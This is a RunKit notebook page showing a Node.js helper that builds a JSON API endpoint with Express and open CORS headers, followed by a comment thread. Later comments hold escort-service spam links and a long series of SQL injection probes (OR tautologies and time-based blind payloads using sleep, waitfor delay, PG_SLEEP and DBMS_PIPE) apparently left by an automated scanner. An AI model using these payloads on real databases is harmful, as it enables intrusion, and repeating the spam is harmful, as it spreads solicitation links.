JSON API with Endpoint

node v4.9.1
version: 1.0.0
endpointsharetweet
function jsonAPI(anExport, aFunction) { var runkitExpress = require("@runkit/runkit/express-endpoint/1.0.0") var bodyParser = require('body-parser'); var app = runkitExpress(anExport) app.set('json spaces', 2); app.use(require('compression')()) app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false })); // add CORS headers, so the API is available anywhere app.use(function(req, res, next) { res.header("Access-Control-Allow-Origin", "*"); res.header("Access-Control-Expose-Headers", "runkit-rate-limit-remaining"); res.header("Access-Control-Expose-Headers", "tonic-rate-limit-remaining"); var reqHeaders = req.get("Access-Control-Request-Headers") if (reqHeaders) res.header("Access-Control-Allow-Headers", reqHeaders); var reqMethods = req.get("Access-Control-Request-Methods") if (reqMethods) res.header("Access-Control-Allow-Methods", reqMethods); next() }) app.all('/', async function(request, response, next) { try { var requestData = { method: request.method, body: request.body, query: request.query } var responseData = await (aFunction.length === 2 ? (new Promise(function(resolve) { aFunction(requestData, resolve) })) : aFunction(requestData)) if (responseData) response.json(responseData) else response.status(201).end() } catch(anException) { response.status(500) response.json({ message: "unable to process request", error: anException.toString() }) } }) return app; } module.exports = jsonAPI;
This helper creates a simple JSON API that accepts JSON request data and returns a JSON response. It can be used two different ways, depending on the callback's signature. The incoming data is an object with three properties: - "method": the request method used - "body": the data sent in the body of the request - "query": any query parameters sent in the request If the "arity" (the number of arguments) of the provided callback function is 1, then you can return a response directly, or a promise that eventually resolves to the data. Here's an example use: https://runkit.com/runkit/json-endpoint-example-1 If the "arity" is 2, then the second parameter is a "done" callback that you should call yourself whenever you want to return a response. You can pass the response as the only argument to the callback. Here's an example use: https://runkit.com/runkit/json-endpoint-example-2
Loading…

44 comments

  • posted 8 years ago by methradeth
    what are the arguments "anExport" and "aFunction" and where are the passed in?
  • posted 8 years ago by alphanumeric010101
    I think those are just placeholder for "aFunction" that you would write yourself. anException is, likewise, an error that you are watching for.
  • posted 6 years ago by alfian547
    https://runkit.com/assets/images/spaceman.jpg
  • posted 5 years ago by iloveitaly
    It looks like this package only works up to node v6.17.1. Is that correct? Is there another library we should be using?
  • posted 5 years ago by 5e9cc003debef1001a5391de
    ECMAScript 6 (also known as ES2015) Support:
  • posted 5 years ago by 5e9cc003debef1001a5391de
    Runkit Save Account JSON API with Endpoint node v4.9.1version: 1.0.0endpointsharetweet 1 function jsonAPI(anExport, aFunction) 2 { 3 var runkitExpress = require("@runkit/runkit/express-endpoint/1.0.0") 4 var bodyParser = require('body-parser'); 5 var app = runkitExpress(anExport) 6 ​ 7 app.set('json spaces', 2); 8 app.use(require('compression')()) 9 app.use(bodyParser.json()); 10 app.use(bodyParser.urlencoded({ extended: false })); 11 ​ 12 // add CORS headers, so the API is available anywhere 13 app.use(function(req, res, next) 14 { 15 res.header("Access-Control-Allow-Origin", "*"); 16 res.header("Access-Control-Expose-Headers", "runkit-rate-limit-remaining"); 17 res.header("Access-Control-Expose-Headers", "tonic-rate-limit-remaining"); 18 19 var reqHeaders = req.get("Access-Control-Request-Headers") 20 if (reqHeaders) res.header("Access-Control-Allow-Headers", reqHeaders); 21 22 var reqMethods = req.get("Access-Control-Request-Methods") 23 if (reqMethods) res.header("Access-Control-Allow-Methods", reqMethods); 24 ​ 25 next() 26 }) 27 ​ 28 app.all('/', async function(request, response, next) 29 { 30 try 31 { 32 var requestData = { 33 method: request.method, 34 body: request.body, 35 query: request.query 36 } 37 ​ 38 var responseData = await (aFunction.length === 2 ? 39 (new Promise(function(resolve) { 40 aFunction(requestData, resolve) 41 })) : aFunction(requestData)) 42 ​ 43 if (responseData) 44 response.json(responseData) 45 else 46 response.status(201).end() 47 } 48 catch(anException) 49 { 50 response.status(500) 51 response.json({ 52 message: "unable to process request", 53 error: anException.toString() 54 }) 55 } 56 }) 57 58 return app; 59 } 60 ​ 61 module.exports = jsonAPI; function jsonAPI() This helper creates a simple JSON API that accepts JSON request data and returns a JSON response. It can be used two different ways, depending on the callback's signature. The incoming data is an object with three properties: ​ - "method": the request method used - "body": the data sent in the body of the request - "query": any query parameters sent in the request ​ If the "arity" (the number of arguments) of the provided callback function is 1, then you can return a response directly, or a promise that eventually resolves to the data. Here's an example use: https://runkit.com/runkit/json-endpoint-example-1 ​ If the "arity" is 2, then the second parameter is a "done" callback that you should call yourself whenever you want to return a response. You can pass the response as the only argument to the callback. Here's an example use: https://runkit.com/runkit/json-endpoint-example-2 5 comments posted 3 years ago by methradeth what are the arguments "anExport" and "aFunction" and where are the passed in? posted 3 years ago by alphanumeric010101 I think those are just placeholder for "aFunction" that you would write yourself. anException is, likewise, an error that you are watching for. posted a year ago by alfian547 https://runkit.com/assets/images/spaceman.jpg posted 9 months ago by iloveitaly It looks like this package only works up to node v6.17.1. Is that correct? Is there another library we should be using? posted a few seconds ago by 5e9cc003debef1001a5391de delete ECMAScript 6 (also known as ES2015) Support: Add a comment
  • posted 4 years ago by thobela
    Thobela 27/0/2021
  • posted 4 years ago by thobela
    Rerun app
  • posted 4 years ago by petersu82
    Good
  • posted 3 years ago by tuanggo
    ngo461596@gmail.com
  • posted 3 years ago by josephoese
    Thanks again
  • posted 2 years ago by yokymia32
    Hey there
  • posted 2 years ago by jonapaniagua
    hi
  • posted 2 years ago by mattborn
    For folks using newer versions of Node who are just interested in a simple solve for sending JSON without added dependencies, I have a simple working example for a Slack Slash Command here: https://runkit.com/mattborn/first-slash-command
  • posted a year ago by starknet-snap
    starknet-snap
  • posted 9 months ago by shehrish
    Assess the situation in this manner, and then don't give up quickly to get the interest in life by infusing it with https://www.delhiescortsnumber.com/escorts-service-in-seven-seas-hotel-new-delhi.html such intense sexual desire. Arrange To Engage In The Basic Sin With an especially Alluring Young Woman.
  • posted 9 months ago by shehrish
    The Dialogue Young women in the city mend the mistakes you've made and mature during your extended absence from the world. https://www.delhiescortsnumber.com/dwarka-escorts.html It's obvious that we generally have obligations to fulfill in order to maintain our work-related responsibilities; for a considerable amount of time, we will feel hopeless if we don't receive the kind of play and fulfillment from life that we truly care about.
  • posted 9 months ago by shehrish
    There are moments when embracing your wild side is genuinely necessary. As One Of The City's https://www.delhiescortsnumber.com/chanakyapuri-escorts.html Leading Escort Relationships, We're Promised To Oblige Your Drive And Transform It Into An Important Meeting.
  • posted 6 months ago by 6639537e5c229c0008ce92c0
    jsnns
  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    -1 OR 2+615-615-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1 OR 2+13-13-1=0+0+0+1
  • posted a day ago by xsjybldb
    -1' OR 2+224-224-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1' OR 2+239-239-1=0+0+0+1 or 'mu8aEM2e'='
  • posted a day ago by xsjybldb
    -1" OR 2+362-362-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a day ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a day ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a day ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a day ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    zUlQh8Wl'; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -5 OR 238=(SELECT 238 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -5) OR 325=(SELECT 325 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -1)) OR 642=(SELECT 642 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    ySL8MF1h' OR 870=(SELECT 870 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    ONaj8Cdc') OR 800=(SELECT 800 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    XqLcKWuN')) OR 259=(SELECT 259 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a day ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a day ago by xsjybldb
    1'"
  • posted a day ago by xsjybldb
    @@K8G9n

sign in to comment